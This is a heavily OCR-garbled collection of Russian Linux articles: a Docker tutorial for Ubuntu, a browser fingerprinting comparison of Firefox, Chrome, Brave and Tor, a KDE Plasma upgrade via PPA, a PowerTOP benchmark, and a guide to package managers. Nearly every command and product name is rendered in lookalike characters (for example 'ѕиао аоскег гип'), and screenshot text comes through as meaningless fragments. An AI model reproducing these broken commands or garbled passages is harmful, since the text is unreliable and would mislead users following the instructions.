доскег [опция] [команда] [аргумент] 


Чтобы просмотреть все доступные суб-команды, введите: 


даоскег 


суъег-кфСуьег-Х-Согр: ~ 





Просмотреть параметры, доступные для конкретной команды, введите: 


доскег доскег - ѕзирсоттапа - -һе1р 


Получить общесистемную информацию о ЮосКег, можно введя команду: 


адоскег 1ոքօ 


субег-хесСуђег-Х-Согр: ~ 





Для полноценной работы необходимо так же установить ЮосКкег Сотроѕе, это можно сделать 
следующими командами: 


ѕиао сиг -Լ "հէէքտ://ց1էհսե. сот/доскег/сотроѕе/ге1еаѕеѕ/домп1оаа/1. 25. 0/йоскег - 
сотроѕе-$(ипате -5) -$(ипате -т)" -Օ /иѕг/1оса1/бріп/доскег - сотроѕе 


Первой командой мы загружаем Ը СіёНир сам пакет, теперь дадим ей необходимые права, для 
запуска: 


ѕиао сһтоа Հ» /иѕг/ Іоса1/бріп/доскег - сотроѕе 


Узнать версию ЮосКкег Сотроѕе можно командой: 


доскег-сотроѕе - -мегѕіоп 


субег-хФсСубег-Х-Согр: ~ 





Проверить, можно ли получить доступ к образам из ОосКег НиЬ и загрузить их, введите 
следующую команду: 


ѕидо аоскег гип һе11о-мог1а 





Можно обойтись без применения гоої прав для работы Ը ОоскКег, для этого необходимо 
добавить вашего пользователя в группу “аосКкег”: 


5140 иѕегтоа -аС аосКег имя пользователя 


Так как я не добавлял своего пользователя в группу “АосКег”, то дальше работаю от 5и4о 
пользователя, если вы добавили вашего пользователя в группу, то необходимость в 5и4о 
отпадает. Для поиска доступных на ОоскКег Нир контейнеров выполняем команду ЯосКег с 
суб-командой ѕеагсһ, а дальше название контейнера. Например, чтобы найти образ ՍԵսուս, 
введите: 


ѕидо аоскег ѕеагсһ սեսոէս 





Для загрузки необходимого образа ЮосКег выполняем команду: 


ѕиао аоскег քսԼԼ սեսոէս 


Где как вы понимаете, вместо “абипе?” вписываете название необходимого контейнера. 
Например, загружу ибип с прокси $9ша: 


Տսմօ Чоскег քսԼԼ սծսոէս/Տզս1մ 





Запуск РросКкег контейнера 


Для запуска контейнера используется команда “тип”, давайте запустим контейнер, для 
получения интерактивного доступа используйте опции -1 и -Է 


Տսմօ даоскег гип -1է սեսոէս/Տզս1մ 


субег-хесСубег-Х-Согр: ~ 


гоп -1є обџпіџ/5д0ід 
фота оп. Оеёесёед поп- Ғопсёіопа1 ТРуб 10 





Узнать какие загружены контейнера ЮосКег можно командой: 


Տսմօ аоскег ітадеѕ 


субег-хФсСубег-Х-Согр: ~ 





Внутри контейнера можно производить любые настройки и правки, но после того, как вы 
закроете их, все ваши правки пропадут. Для их сохранения сначала давайте узнаем какие 
контейнеры запущены: 


ѕиао Чоскег рѕ 


Далее берем 14 контейнера и при помощи команды “сотті -т” сохраняем: 


ѕидо аосКег сот -т “изменения, которые были произведены” -а “автор” 14 контейнера 
героѕіќогу/новое имя 


Для остановки контейнера выполняется команда “осКег ѕѓор”, для запуска — “аосКег ѕѓагі”, а 
затем указываете іа необходимого контейнера. Например, давайте сначала посмотрим все 
запущенные контейнера командой: 


ѕиао аоскег рѕ -1 


субег-хбсСубђег-Х-Согр: - 





Теперь остановим данный контейнер, введя команду “осКег ѕіор” и указав его іа, он выделен 
на скриншоте: 


суъег-к@Суьег-Х-Согр: ~ 


СОНТАІМЕА 10 ТМА‹ 


РОТ ЧАМЕЗ 
Ց52ԵՒԸՒՅ1Ե36 սԵսո ժ 
11152- ւ) 1122. се тог56 





Останавливаем контейнер: 


ѕиао аоскег Տէօք 0520ҒсҒа1рае 


субег-хбсСубђег-Х-Согр: - 
СОМТАІМЕА 10 Նէ 
РОКТ< ЧАМЕ$ 
952Ь#сҒа1Ьае սեսոէս/5զս1 
1Ա422- )1:1 1412: се тогѕе 


0526#сға1Ббае 





Для удаления контейнера выполняем команду “аосКег гт” и указываем 14 контейнера, 
который хотим удалить. 


Заключение 


Контейнеры ЮосКег весьма полезны, когда необходимо быстро развернуть какой-либо сервис. 
Что весьма удобно, все это легко масштабируется, настраивается и управляется, не зря 
РоскКег получил такую популярность. 


В данной статье мы рассмотрели лишь базовые возможности, которые могут помочь вам в 
освоении ПоскКег в ՍԵսուս 20.04, более подробно обо всех возможностях читайте на 
официальном сайте, где вы так же найдете информацию о последней выпущенной версии. 





6. © 27 ТогРгојесі.ог9 


Браузеры 


Продолжение темы Анонимности и 
Конфиденциальности браузеров 


В прошлый раз мы рассмотрели браузеры, которые выдают себя за анонимные и 
конфиденциальные, подробнее про это вы можете прочитать перейдя по этой ссылке. 


В этой статье хотелось затронуть другую тему, что именно можно узнать через ваш браузер? 
Как известно, многие браузеры сливают информацию крупным корпорациям, а те в свою 
очередь на этом зарабатывают. Но, это не главная проблема, если копнуть глубже, то через 
браузер можно узнать многое о пользователе. Вот именно это мы сегодня и проверим, что 
можно узнать о вас через ваш браузер. 


На просторах сети существует множество интересных ресурсов, и одним из таких является 
ресурс под названием — Пеуісеіпѓо. Перейдя на данный ресурс вы можете узнать 
информацию, которую выдаст ваш браузер. Тут стоит отметить, что каждый браузер, будь-то 
он анонимный или конфиденциальный, в любом случае выдаст какую-то информацию, тут 
скорее вопрос в том, сколько он ее, информации, выдаст? 


И так, проверим несколько браузеров, возьмем для проверки ЕігеЕох, Соо]е Сһготе, Тог и 
Вгауе. 


Р.5. Данная статья носит исключительно образовательный характер и не 
призывает пользователей отказываться от их браузеров. В первую очередь, задача 
данной статьи показать что именно можно узнать через браузер. И, возможно, 


теперь вы не будете говорить — Мне не чего скрывать. А для тех, кто боится что за 
ними следят, хочу развеять миф, что в сети имеет место для анонимности и 
конфиденциальности. В любом случае многие слышали о том, что через браузеры 
можно многое узнать о пользователе, а теперь вы сможете сами в этом убедится. 


Браузер ЕшеЕох 


И так, начнем с браузера ЕігеЕох, настроенного по умолчанию без установки плагинов и 
прочего, что может ограничить сбор информации. Переходим на сайт еуісеіпѓо. те и, что мы 
видим: 





Браузер выдал информацию о системе, версии самого браузера, ԼԵ адрес, ниже вы можете 
увидеть информацию о локации: 





И многое другое, что можно узнать через обычный браузер, в том числе об установленных 
плагинов если они есть, разрешение экрана и так далее. Думаю, вам следует самим 
проверить что именно выдаст браузер конкретно о вас. Ну а мы переходим к следующему 


браузеру. 


Соое Сһготе 


Следующий браузер который проверим, будет Соое Сһготе, не для кого не секрет, что он 
не является анонимным или конфиденциальным, но, является одним из самых популярных. И 
так, переходим на сайт еуісеіпѓо. те и смотрим что он выдаст: 








Ситуация примерно такая же как и с ЕігеҒох, Сооз]е Сһготе выдает информацию о системе, 
версии браузера, разрешении экрана и многое другое, даже информацию о железе: 








Браузер Вгауе 
Теперь проверим браузер Вгауе, хотя его и разнесли в предыдущей статье, но проверить 
наглядно думаю будет интересно. Данный браузер позиционируется разработчиками как 


браузер уважающий конфиденциальность пользователей, вот это мы сейчас наглядно и 
проверим. И так, переходим на сайт и смотрим что Вгауе выдаст про нас: 


Уриеи-20 04-е на ОЕМ / КУМ 


Ое\мсе іпѓо - ՍմօԵ Бгомх - 


9 с ը & демсемюте 


Оемсе Іпѓо 


+ А меб Бгомзег зесиг у 10579, реіуасу 1е5 по, апа поумезпооН9 1001. 


Оехісе Туре / Мобе!: Оезкор се М 


Орегайпд Зузіет: Լա: (64-01) ո 


Тгпие Орегайљд Зузќіет Соге: Опкломп. Оейюсвюл по 


опей ог із Москеб Бу Бгомчег зе Уехіепзюгуз) 


ը 


Вгомивег: Сһеоте уегыол 98 758 Е 
Вагк) ո 


Тише Вгомивег Соге: ՇԻ՛ 


Вгожвег 8սմժ Митьет / ег бег: 200 -07 / Опкпоет 


Оеюсіоп Москей Бу Беожзег зе гк ($ уехіеегзіогҳ $ 0! 


1Р Аддгезз (МАМ) 


. ա 


Ապ ІР АФгезз: Мо ո 
УРМ ІР Аддгезз: №! дебесіеа 
Ргоху ІР Аддгеъѕ: Мопе беіесіей 


Ноѕіљате: 
Սու 








Как видим, информация об операционной системе присутствует, но, указано, что [іпих, а 
какой дистрибутив, не указано, далее, локализация присутствует полностью: 


Џи 20 .0-01оте на ОМИ / КУМ 


с 


1 осайоа: 
Շօսույ: К 
Яедіоп: 

Сиу: Ајекзапігох 


Լոմածօ & 1 опдйыде: 55 


бесюсацоп: Поеіесі | 


13Р: Сіозей Јо Ѕіоск Сотрапу Тгапз ТееСот 


Матевегуега: Опкгюмия. Сок ոօէ дебесі 


Соппесііоп Տէոէսջ` 
ԱՐԱՂ ՆԱՆՈ ԱՆ 


Месте Ассезз: Үгез 


Соппесіоп Туре: 


Коса! Агеа Мемогх (САМ): Опкложт. Ое Шоп ոօէ 


зирроњћеб ог із Москве Бу беотзег вейт(з уехіепзіог з 


Упде Агеа Мебтогк МАМ): ВгоадБапа 


Շո. & Մոշ: 


Зузют (ме): 
Ты, Реб 17, 1 06 (Ս7Շ«03:00 СМТ+3) (О$Т: №) 


Коса! (Це): 





Три, Ре 22, 12-52-06 (ОТС+03:00 М$К) (О5Т: №) 


Орбити -20 0-01оте на ОМИ КУМ 


Оемісе іпѓо - ме Ьгомз 


9 с 


и Оеуіое (Ѕибгего) (0 0ՕԲ)), Ума мае 


СРО: 
АгсьИесвиге: хб4 (64-50) (1) 


Мотфег о? согез: 2 


Метогу (КАМ): 0.5 ОВ 


Вайегу Տէռէստ (іме) 
1емеі: 100% 
Շհողց ոց: Үез 


Пете гегаіпіљд Беїоге спагое@: 0 зес 


Ցաօօօէհ- Цпкломт. О 
Бюскед Бу Ե 
Вішеќооіћ Абаріег: Ипклочип. Оеіесвоп ոօէ зиру 


фзаЫ ед, сг 64 Бу Бгомузег зейіпо(з)/ехіегт 


Оехісе Опетаюл (Шуе) (иМегуа!: 500%): 
ОмесНоп: Опкломп. Оеё 

ехіетвюсец 
ոռ Егоги / Васк: Цпкпомт. Оеіесіюп пой зирр 
Боске Бу Бгомизег вет Уехіепзіоецз) 


ТІМ Сей / Аід: Опбломт. Ое 


Москед бу Бгомизег вето (8 уех 








все Моцоп (1 іуе) (Ппвегуаі 5005) 


Более подробно, что передает браузер Вгауе вы можете проверить сами, конечно, при 
желании. Ну а мы двигаемся дальше, и дальше у нас вишенка на тортике – Тог! 


Браузер ТОВ 


Браузер Тог является пожалуй одним из тех, кто действительно заботится о 
конфиденциальности пользователей, а так же является анонимным, на сколько это возможно, 
конечно, благодаря работе через сервера Тог. Думаю, многим будет интересно, что может 
слить данный браузер, и так, переходим на сайт и смотрим: 





Ш 0-е ոթ - Ме оом. х а 


. сав бемсегѓёо те ոու 2? Օ Վ = 











Информация о системе весьма противоречива, с одной стороны Міпаомѕ, с другой Гіпих: 





8 0-е ոթ - Мер ооз. х + 


`: с вы бемтс его лте ո (у Оо = 











Локализация разумеется иная: 





տ Оемсе п - Иер Бесм ж ка 


= сав бечлс єгќо те ոո 2 Օ Վ = | 











Информация о железе скрыта: 





8 0-е ոռ - Иер Мом х - 


- сав деле ею ле моо = 











Как видите, самый оптимальный вариант – Тог, так как в нем уже присутствуют все 
необходимые настройки и плагины. 


Заключение 


В любом случае, если для вас важно скрыть информацию которую способен выдать браузер, 
то самый оптимальный вариант, установка дополнительных плагинов. Правда, в любом 
случае скрыть все, это не реально. 


Данная статья надеюсь прольет свет на извечный вопрос о выдачи информации и наглядно 
покажет вам, какой браузер и что способен выдать о вас. Но, как уже говорилось, данная 
статья носит исключительно информационный подтекст, и не призывает пользователей 
отказываться от браузера которым он пользуется. Задача данной статьи именно 
продемонстрировать что все это не фейк и через обычный браузер можно узнать о 
пользователе довольно много информации. 


Все браузеры которые тестировались в этой статье, использовались при настройках по 
умолчанию, без установки плагинов и остального, что бы показать достоверную 
информацию. При необходимости все можно докрутить настройками некоторых браузеров и 
установкой плагинов, правда, в этом случае есть вероятность кривой работы с сайтами. 


При необходимости теперь и вы можете проверить свой браузер на утечку информации о вас. 





Устанавливаем КОЕ Ріаѕта 5.24 в ՃսԵեսուս 
21.10 Ппріѕћ Шан 


Հսեսուս — производный дистрибутив на базе ОБип с рабочим окружением КРЕ, 
официально входит в семейство. Для пользователей которые на данный момент используют 
Корип 21.10 и хотят протестировать или получить для постоянного использования свежую 
версию КРЕ РІаѕта 5.24 и имеется такая возможность. Для этого достаточно подключить 
РРА репозиторий и обновить систему. Но, будьте осторожны, несмотря на то, что версия 
КиБипе 21.10 считается проходной, обновления до свежей РІаѕта 5.24 могут нарушить 
работу вашей операционной системы. 


Хочу отметить, что для Т5 версии данный РРА репозиторий не подойдет, по этому, для тех 
кто хочет более свежую версию КРЕ РІаѕта, сначала придется обновиться до КиБип 21.10, 
а затем уже установить КРЕ РІаѕта 5.24. О том как обновить систему, можно прочесть 
перейдя по этой ссылке, несмотря на то, что там инструкция для 21.04, она прекрасно 
подходит и для 21.10. 


Установка ПЕ Ріаѕта 5.24 в ՃսԵեսուս 21.10 


Итак, по умолчанию КиБип 21.10 поставляется с рабочим окружением КРЕ Р]азта 5.22.5. 
Именно такую версию рабочего стола КРЕ вы можете скачать с официального сайта 
Кибипы: 


Кирипш-2110 на СЕМИ /КУМ 


А лавиш 


Сведения о системе — Параметры системы 


< Сведения о системе 


Кибипѓи 21.10 


Оборудование հմքտ:///ոտու киЬи ога 
и 


— զ В Р 

կատ Экран 

@ Звуковые устройства Программы 

Версия КОЕ Ріаѕта: 5.22.5 
= Мультимедиа 
Версия КОЕ РгатемюгК$: 5.86.0 
о Управление питанием 
Версия ОС 5.15.2 

о Віоегооћ Версия ядра: 5.13.0-28-депегіс (64-бита) 


га КОЕ Соппесї Графическая платформа: Х11 


2 Внешние носители 

Оборудование 
Ш Диспетчер драйверов Процессоры: 2 х АМО ЕРҮС-Воте Ргосеѕѕог 
{= Принтеры Память: 3,8 ГиБ ОЗУ 


ө ТҺипдегЬоі Графический процессор: Иитрире 
Системное администрировани 
(®) Обновление программ 


Копировать в буфер обмена Копировать текст на английском в буфер обмена 
5 выделить изменённые параметры Ы Բ /Փ6Ք ծ Բ уфер 





Первым делом обновите систему до актуального состояния всех пакетов: 


ѕиао арі ирЧаее && ѕидо ձքէ Ғи11-ирдгаде 


Затем можно приступать, и для установки более свежей версии КРЕ РІаѕта необходимо 
подключить РРА репозиторий Баскрогѓѕ. Отправляемся в терминал и подключаем 
репозиторий командой: 


ѕиао ааа-арі-героѕіёогу рра: кирипёои-рра/баскрогіёѕ 


Кирипш-2110 на ОЕМО/КУМ 


инацию клавиш 


-: ѕидо абд-арі-героѕігогу — Копѕоіе 


Модули Настройка Справка 


корипї рра/о 


ր 
Եսց 





Подтверждаем добавления репозитория нажатием клавиши “Епѓег”, обновляем списки 
пакетов, а затем обновляем систему командами: 


ѕиао арі ирЧаее && ѕидо ձքէ Ғи11-ирдгаде 


ածսոա-2110 на ОСЕМО/КУМ 





Обновления займут какое-то время, когда система обновится, перезапускаем компьютер и 
получаем свежую версию КРЕ Р]азта 5.24: 


Кирип(и-21/10 на СЕМИ /КУМ 


АБО Լհւ5 575162 — Параметры системы 


=  ճեօսէէհյտ 5ужет 


КиБипки 21.10 
Рер: Лилии КИБигии ога 


Программы 


-шоө рь Ш 
о о = 

т ЕЗ 

‚ Мо Е 


о 

е 
у хз о х 
х д < әро ы 
Ծ ъ >»? ^ 

4 

® 


за & 
5 |Ջ 17 


Версия КОЕ Р!азта: 5.24.1 
Версия КОЕ Ғгагтемогкѕ: 5.91.0 


Оборудование 


Процессоры: 2 х АМО ЕРҮС-Воте Ргосеѕѕог 
Память: 3,8 ГиБ ОЗУ 





Заключение 


После обновления и перезапуска Кибип не забудьте удалить оставшиеся пакеты которые 
больше не используются, это можно сделать командой: 


5и4о ар! ашогетоуе 


Эти пакеты остались после обновления рабочего окружения. Таким образом мы получили 
свежую версию КРЕ Р]азта 5.24 в дистрибутиве Ճնեսուս 21.10. 


Но, повторюсь, данная процедура может подорвать стабильность системы, по этому, все что 
вы делаете, делаете на свой страх и риск. 





у 


Тест РомегТОР на современном ноутбуке с 
АМЮО процессором в операционной системе 
Глпих? 





По данным с сайта угуу.рһогопіх.сот, где собственно и проводились тесты работы 
РомегТОР на ноутбуке Гепоуо ТЫшКРаа Т145 Сеп2, можно сделать некоторые выводы, 
актуальна ли данная утилита в нынешних реалиях? В свое время мы уже писали про 
установку и настройку Ро\тегТОР, об этом вы можете прочесть перейдя по этой ссылке. 


И так, давайте перейдем к тестам и в конце статьи сделаем определенные выводы касательно 
разного рода утилит для экономии зарядки аккумулятора в ноутбуке. 


Утилита РомегГОР была чрезвычайно полезна для настройки энергопотребления, но, за 
последнее десятилетие тих значительно улучшился. В любом случае любопытно 
посмотреть, дает ли РомегТОР какую нибудь значительную разницу в энергопотреблении на 
современном ноутбуке с процессором АМОР” Ву7еп. 


Тестирование Роме" ГОР 


Этот этап тестирования проводился на ноутбуке Гепоуо ТЬшКРаа Т145 Сеп2 с процессором 
АМОР Ву7еп 7 РКО 58500. 


ромегїор АМО Вугеп 2022 Шіпих 


ОрепВепсһтагкіпд.ого ա ` Рһогопіх Тез! 5иИе 10.8.2 
АМО ЕЕ 7 РАО 58500 @ 1.90СН= 5 Согеѕ / 16 на вый 
АМО Вепой/Сегаппе сораи 





102468 ЅАМЅОМОС М2У_.В1ТОНВІА-00017 вк 





АМО ЯНепоіг Вадеоп НО Аџйіо Ацо 





ЏБитіш 21.10 98 


СМОМЕ Տիտ) 40.5 шань 








4.6 Меза 21.2.2 (ЦУМ 120.1) 






Орейб 





ССС 11.2.0 ав: 
3840х2160 бегреп АезоГиНоп 


Ромегіор АМО Вугеп 2022 Ипих Բճոշհոտուն Տ 

- Ттапзрагем Ниде Радеѕ: тадизе 
- --Би!д=х86_64-1пих-дпи --Фзае-маЫе-мепбу --ФзаБе-мегтог 

--епае-Бос гар --епабіе-сеї --епабіе-сһескіпад=геіваѕе 

--епабіе-сіосаіе=дпи --епаЫе-дегаиИ-рие --епае-дпи-ипюие-офес! 

--епабіе-Іапаџадеѕ=с,ада,с++ ,до,Бгід,а Ѓогігап,објс,обј-с++,т2 

--епабіе-ібррһороз-спескіпд=геіеаѕе --епае-119схх-дебид 

--епабіе-10510схх-йте=уеѕ --епабіе-1іпк-ѕепаіігаіоп=2 --епабіе-тийагсһ 

--епабіе-тиііб --епабіе-піѕ --епабіе-обіс-дс=аџіо 

--епабіе-оћоад4агдеіѕ=пуріх-попе=/Биі!д/дсс-11-2РТОКр/асс-1 1-11 .2.0/0ебіапітр-пуріх/иѕг,атаодсп-атк 

--епабіе-ріиадіп --епабіе-ѕһагед --епабіе-һгеадѕ=роѕіх 

--по5{=х86 64-իոս»-ցոս --ргодгагт-ргеїх=х86_64-11пих-дту- 

-Чагдеі=х86 64-1іпих-дпи --міїћ-абі=т64 --мИһ-агсһ-32=1686 

-миШ-Бий9-сопйд=Боо{гар-Но-1еап --мїїһ-деѓаџі-іб510схх-абі=пем 

-эміћ-дсс-тајог-мегѕіоп-опіу --міїһ-гтиЫ-1і51=т32,т64,тх32 

Н -ѓагдеі-ѕуѕіет-2116=аџшіо --мһ-ипе=депегіс --мїћош-сида-дпмег -у 


- Ѕсаііпо Сомегпог: асрі-сриігед эспедий (Вооз!: ЕпаЫіед) - Ріаогт 
Ргоћіе: баапсед - СРИ Місгосоде: Оха50000с - АСР! РгоШе: баіапсед 

- СІАМОН - ВАВ1 / М5і0е УНАМ Ѕіге: 1024 МВ 

- Руіћоп 3.9.7 

- ШЫ тии: Мої аНес1ед + 111: Мо! айесіеа + ժտ: Моќ айесіеа + 
тећаомп: Мої аћесіеа + ѕрес ѕіоге бураѕѕ: Мидаћоп ої 558 діѕабіед ма 
рге + ѕресіге «1: Խնեցճիօո оѓ иѕегсору/ѕмардѕ ետո տ Յոժ Ստ роіпіег 
запганоп + ѕресіге №2: Խնեցոեօո օէ Էսի АМО геїроііпе ІВРВ: сопдфопа! 
ВВ $_Р\/ 5ТВР: амауѕ-оп ВЗВ հնոց + 5/595: Мої аНес!ед + 15х_азупс абоп: 
Мо! аћесіеа 


Ѕуѕіет 109$ 


Тестирование проводилось «из коробки», то есть, в системе после установки без каких либо 
изменений в настройках. После запуска РомгегТОР была проведена настройка всех 
параметров из ВАР (Плохих) в СООР (Хорошие), как и должно быть при настройке данной 
утилиты для экономии энергопотребления. В общем, потребление энергии от аккумулятора 


изменилось при настройке РомегТОР. 


СРО Тетрегаїиге Мопіїог ՔէՏի, 


Рһогопіх Тез1 Ѕийе 5уз1ет МопИогіпд 
Се 15 ОрепВепсһтагкіпд.ого 


СОеѓаин 


Міп: 33 / Ауд: 75.56 / Мах: 86.88 








РомегТор Типеа 


Міп: 49.75 / Ауд: 72.89 / Мах: 86.25 


Были небольшие улучшения и рабочей температуры процессора. 


Сеотешс Меап ОҒ АП Те${ Веѕиіїѕ <] 
Բ6Տս Ա Сотроѕіїе - ромегїіор АМО Вугеп 2022 Чпих Ք | 
թ Сеотеик Меап, Моге 5 Вейег ОрепВепсһтагкіпд.ого 
"Реѓаин 
5.057 
РомегТор Типеа 
5.083 
1.1437 2.2874 3.4311 4.5748 5.7185 


В результате тестов не было выявлено существенной разницы в энергопотреблении и 
производительности на ноутбуке с процессором еп З. Вывод, РомегТОР в современных 
дистрибутивах [іпих, как правило, не дает существенной разницы с современным 
оборудованием благодаря постоянным улучшениям [іпих. 


Стоит ли применять подобные утилиты в нынешних реалиях, большой вопрос. Тут стоит 
учесть и то, что некоторые дистрибутивы уже заточены на уровне ядра под ноутбуки. За 
последнее время [іпих значительно вырос и вполне способен работать на современном 
оборудовании автоматически подстраиваясь для работы от аккумуляторов. 


В любом случае есть вероятность, что утилита РомегТОР не проявила себя в полной мере 
именно на тестированном ноутбуке, и возможно на другом железе она показала бы намного 
лучшие результаты. 


Оригинал статьи вы можете прочесть по этой ссылке. 





Установка программ в пих – ОеШап, 
ՍԵսուս, Стих Мір, Мапјаго, МХ пих, 
Ага Լոս» 


Пользователи, которые только знакомятся с операционной системой Глпих, могут задаться 
вопросом, как устанавливать программы в дистрибутивах Լոս» В подавляющем 
большинстве случаев, установка программ в тих происходит из репозиториев, у каждого 
дистрибутива чаще всего свои собственные репозитории. Существуют правда дистрибутивы 
основанные на других дистрибутивах іпих и использующие репозитории своего предка. 


Сам репозиторий является не чем иным, как хранилищем программ, в ших программы 
принято называть пакетами, по этому не удивляйтесь, если на любом из форумов встретите 
именно это выражение. Сам же пакет Ը расширением .4еЬ или грт можно сравнить Ը 
архивом, в котором находятся инструкции куда, будут установлены пакеты и какие 
зависимости необходимы, об этом вы узнаете чуть ниже. 


Ну а мы вернемся к репозиториям, как уже говорилось, это хранилище программного 
обеспечения, в некоторых дистрибутивах можно подключать сторонние репозитории от 
разработчиков программ, например, РРА репозитории. В репозиториях чаще всего находятся 
грубо говоря инструкции по сборке необходимой программы, а сборкой и установкой 
занимаются пакетные менеджеры. Собственно, сам репозиторий можно сравнить с 


магазином приложений Соозе РІау в телефонах Ճոմոօ1Մ4, который и позаимствовал данную 
идею. 


Сами же пакетные менеджеры в разных дистрибутивах свои, в дистрибутивах основанных на 
Ծճելճո можно выделить такие пакетные менеджеры как: арке, арь арИае — терминальные 
пакетные менеджеры. Так же существуют и графические пакетные менеджеры: Ѕупарііс, 
015соуег, Менеджер приложений и, стоит упомянуть установочную утилиту Себ. 


В дистрибутивах основанных на Агсһ пакетный менеджер Растап, в дистрибутиве Мапјаго 
возможно вы уже встречали графический пакетный менеджер Ратас. 


Пакетный менеджер это программа, которая занимается тем, что устанавливает другие 
программы. Тут пожалуй стоит отметить, что тот же ірке установить саму программу, но не 
ее зависимости. 


Зависимости, это пакеты необходимые для запуска и работы программы, то есть, 
предположим, вы устанавливаете программу, которая написана на языке Рушфоп, что бы 
программа работала, необходим сам язык Ру(ћор в вашей системе. В данном примере, язык 
программирования РуШФоп является зависимостью для программы. При установке любой 
программы, пакетный менеджер проверяет имеются ли зависимости в системе, если их нет, 
то он установить необходимые зависимости из репозитория дистрибутива. 


Ровным счетом, для того что бы выйти в интернет, вам нужен браузер, в данном случае для 
интернета необходима зависимость — браузер. То же самое и в [іпих, для запуска некоторых 
программ необходимы зависимости. 


Так же отличием Глпих является 10, что в нем папки принято называть каталогами, так что 
если в статьях вы встретите слово каталог, то это будет обозначать не что иное, как папку. 


Вскрываем еб пакет 


Думаю, с репозиториями, зависимостями и пакетным менеджерам стало немного понятнее, 
теперь рассмотрим что из себя представляет вскрытый .ӣер пакет. Любой скачанный из 

сети .Яер пакет можно распаковать и посмотреть что он из себя представляет. А представляет 
он из себя инструкцию по установке самой программы и ее зависимостей: 


О Загрузки доодіе-сћ...епё_ 2064 + 





На примере браузера Сһготе можно увидеть в директории “сопіго!” файл с таким же 
названием, в котором содержится информация о версии браузера и его зависимостей (строка 
Ծճքճոմ5): 





В каталоге “Ааа” вы можете видеть куда будет установлен сам браузер. Дело в том, что в 
Глпих системах установка программ происходит не в один каталог, а в разные. Более 
подробно про назначения каждого каталога в тих вы можете прочесть в отдельной статье, 
доступной по этой ссылке. 





В будущем, вы привыкнете к такому подходу, на самом деле, он более логичен чем в той же 
Ууіпаоуѕ, где все сваливается в один каталог и тащит за собой зависимости, даже если они 
уже присутствуют в системе. В то время в [іпих системах если зависимости имеются, то 
программа их устанавливать не будет, а эти же зависимости могут работать со множеством 
программ. Таким образом, один пакет (зависимость) может использоваться разными 
программами. 


Установка программ в ОеШап ориентированных 
дистрибутивах 


К Оеап ориентированным дистрибутивам относятся: сам Оеап с любым окружением 
рабочего стола (СМОМЕ, КПЕ, ХЕСЕ и так далее), ՍԵսուս (сюда относятся КаБип, 
Хибипа, Габо и так далее), [Глпих Міг с любым окружением рабочего стола, МХ Шпих, 
Рор!_О5, Аза Ііпих. И многие другие дистрибутивы, которые основываются именно на 
пакетной базе Пеап. Просмотреть так называемое дерево дистрибутивов Гіпих и узнать, 
какой дистрибутив основывается на пакетной базе Оеап можно на МІКІ. Начнем мы с 
установки утилитой арке, данная утилита устанавливает заранее скачанные из сети пакеты, 
например, тот же Сооз]е Сһготе. Для того что бы установить пакет, в терминале выполняем 
команду: 


5и4о арКе -1 и название пакета 


Обратите внимания, что для установки вы должны находится в этом же каталоге, что и 
скачанная ранее программа. В данном примере ключ -1 обозначает установку — ш$%аП, для 
удаления используется ключ -г. Крайне рекомендуется после установки утилитой ірке 
установить зависимости, их можно установить командой: 


ѕиао арі 1ոտէձճԼԼ -Р 


Если вы скачали несколько программ, то установить их можно командой: 


ѕиао Арка -1 *.аеб 


Таким образом, все программы из каталога с расширением .4еЪ будут установлены: 


суБег-кФСубег-Х-Согр: -/Загрузки 





Установка программ из репозитория происходит командой: 
ՏԱԺՕ 8քէ ш%а[ и название пакета 


Обратите внимания на пакетный менеджер, в данном случае это ар, который прекрасно 
работает с репозиториями и устанавливает не только программы, но и их зависимости. 
Например, для установки Ѕупаріс выполним команду: 


Տսմօ арі іпѕіа11 ѕупарііс 





Таким образом мы установим из репозитория нужную нам программу. Далее рассмотрим как 
удалять установленные программы в Юеріап, ՍԵսուս, их Ме Аѕіга Шпих и так далее. Для 
удаления программ используются команды $140 ձքէ гетоуе или для полного удаления зи4о 
арі ригое, а далее необходимо указать название программы которую хотим удалить. На 
примере все того же ѕупарііс это будет выглядеть следующим образом: 


5ио арѓ гетоуе зупарИс 
ИЛИ 
ѕидо арі ригое зупарИс 


Далее можно ВЫПОЛНИТЬ очистку системы от оставшихся зависимостей, стоит отметить, что 
при обновлении системы так же остаются не используемые пакеты, которые можно удалить 
теми же командами: 


ѕидо арі ашюгетоуе 
И 
5и4о ар! ацѓосІеап 


Устанавливать программы или пакеты можно через графические менеджеры программ, 
рассмотрим пример установки в Ѕупаріс. Открываем его и в поисковой строке вводим 
название необходимой программы, например, нужно установить браузер Сһготіигт, вводим 
его название: 


установленная в Последмяя веро Описание 











Нажимаем искать и в результатах поиска находим пакет с названием “сһготіцт-ргомѕег”, 
далее нажимаем правой клавишей мышки на названии пакета и выбираем пункт “Отметить 
для установки”: 





հօ Թ Ո-ԵՐԺԻ56ՐՎ10Ո 185.0.4183.83-046 Тгагвібота 
сРгостииит 0 0.9.16. 1-2Ես 21 аркадная » 
«Ի/օՈՒԹԹՈ-եՏս-ԺՅէՑ 0.9.16. 1-2Ьџші191 пакет данн 
сргостить-< госте имет 1285.0.4183.83-046 Тгаг5і0бюта 
срготит-совес$ тред 1:85.0.4183.83-0%6 Тгагвіб юга 

Ծ Сготішть<обесѕ- треф-ехі 1:85.0.4183.83-006 1-85.0.4183.83-0%6 Тгаг5 юпа 69 ѕлар 


Тезпз опа раскаде - сМгопмит-Бгомзег -> сћготішт зпар 
г 6 Получить список изменений 


Это пустой переходный пакет. Его можно безопасмо удалить. 


сост гомлует 15 пом геріасед Бу ће сМгогтилт улар. 


Результаты поиска 


Вверху Ѕупаріса появится кнопка “Применить”, нажимаем на нее, появится окно где можно 
увидеть что помимо самой программы, подтянутся и необходимые зависимости если их нет в 
системе: 


Установленная в Последняя веро Описание 


0-881-12871.8-1 СРТ тапіриаіоп (001 ИЕР ѕирроге Гог Сћготішт ՕՏ ежепаїопз 
, мер Бгомегу 


Краткое описание 


д РРР Применить следующие изменения? 
«Խօտխաո-Եչս 
Фкотішт- Бзи-даіа Проверьте список изменений перед тем, как они будут выпол 


заооооодеаооо ^ 





После нажатия на кнопку “Применить” начнется установка. В Ѕупаріс можно отсортировать 
пакеты которые установлены в вашей системе, для этого достаточно нажать на букву “С”, 
которая находится под кнопкой “Отметить все”. Зеленым будут отмечены именно те пакеты, 
которые установлены в вашей системе: 






ШБиейи-20 0-ю на ОЕМ КУМ 


Мемеджер пакетов Ѕупарік 





Файл Правка Пакет Настройки Справка 





смоте-дпоте-5ћейї 1011-5 10.1-5 СМОМЕ 5№еї! ехїепеіопе іпедгабоп Гогмеб Ьгомзеге 
